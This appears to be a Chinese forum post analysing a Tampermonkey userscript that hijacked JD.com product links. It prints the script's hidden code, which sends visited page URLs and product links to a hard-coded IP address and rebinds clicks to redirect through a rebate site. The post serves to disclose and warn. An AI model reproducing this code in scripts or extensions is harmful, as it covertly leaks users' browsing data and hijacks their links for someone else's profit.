今天在京东购物时,发现点击任意一个商品的链接,浏览器打开新窗口,并跳转地址:https://ts.azkou.cn/ts.html?url=https%3A%2F%2Funion-click.jd.com%2Fjdc
该地址已经打不开,但看域名应该是购物返利的地址。也幸亏地址失效了,才发现京东地址被劫持。
初步分析是因为,安装了篡改猴脚本:“获取网盘直链”,地址:https://greasyfork.org/scripts/523351。
01.分析
打开脚本调试了一下,梳理流程如下:
[JavaScript] 纯文本查看 复制代码 let defaults = {
async initPanLinker() {
let href = encodeURIComponent(location.href);
let res = await base.post(`http://124.222.238.158/pan.php?ver=${version}&a=${author}&href=${href}`, {}, {}, 'json');
if (res.page == 'search') {
base.panData = res;
setInterval(function() {
base.createTips()
}, res.timer);
} else {
if (res.recove_url) {
window.location.href = res.recove_url
}
}
},
};
脚本初始化时,向124.222.238.158 发送查询信息(这个post在浏览器调试工具中看不到,为啥?),返回
[JavaScript] 纯文本查看 复制代码{
"page": "search",
"wrapper": [
".more2_list>li"
],
"timer": 200,
"splName": 8,
"jumpUrl": "https://ts.azkou.cn/ts.html?url="
}
可以看到,首先返回了返利网站地址,然后创建定时器,执行createTips();
[JavaScript] 纯文本查看 复制代码createTips() {
let tempList = [];
base.panData.wrapper.forEach(function(i) {
let list = $(i);
list.map(function(k, s) {
if ($(s).attr('data-md5-value') != 'yes') {
base.panList.push(s);
base.panTemp.push(s);
$(s).attr('data-md5-key', base.panKey);
$(s).attr('data-md5-value', 'yes');
base.panKey++;
}
})
})
let requestTemp = base.panTemp.splice(0, base.panData.splName);
let requestList = [];
requestTemp.forEach(function(s, k) {
let temp = {};
temp['href'] = $(s).find('a:first').attr('href');
temp['md5'] = $(s).attr('data-md5-key');
requestList.push(temp);
})
if (requestList.length > 0) {
base.post(`http://124.222.238.158/search.php`, JSON.stringify({
data: requestList
}), {}, 'json').then( (res) => {
res.map(function(item) {
if (item.u) {
$(base.panList[item.md5]).find('a').bind("click", function(e) {
e.preventDefault();
base.jump(item.u);
})
}
})
}
);
}
},
代码主要功能:
1.遍历页面中商品列表,类似https://item.jd.com/100038004347.html;
2.通过124.222.238.158/search.php查询地址对应的返利地址
3.base.panList[item.md5]).find('a').bind("click", function(e) 绑定链接的点击事件,替换成打开返利网站地址。
02.总结
一直比较喜欢用篡改猴,现在看来不是很安全,如果脚本中添加一些恶意操作很难发现。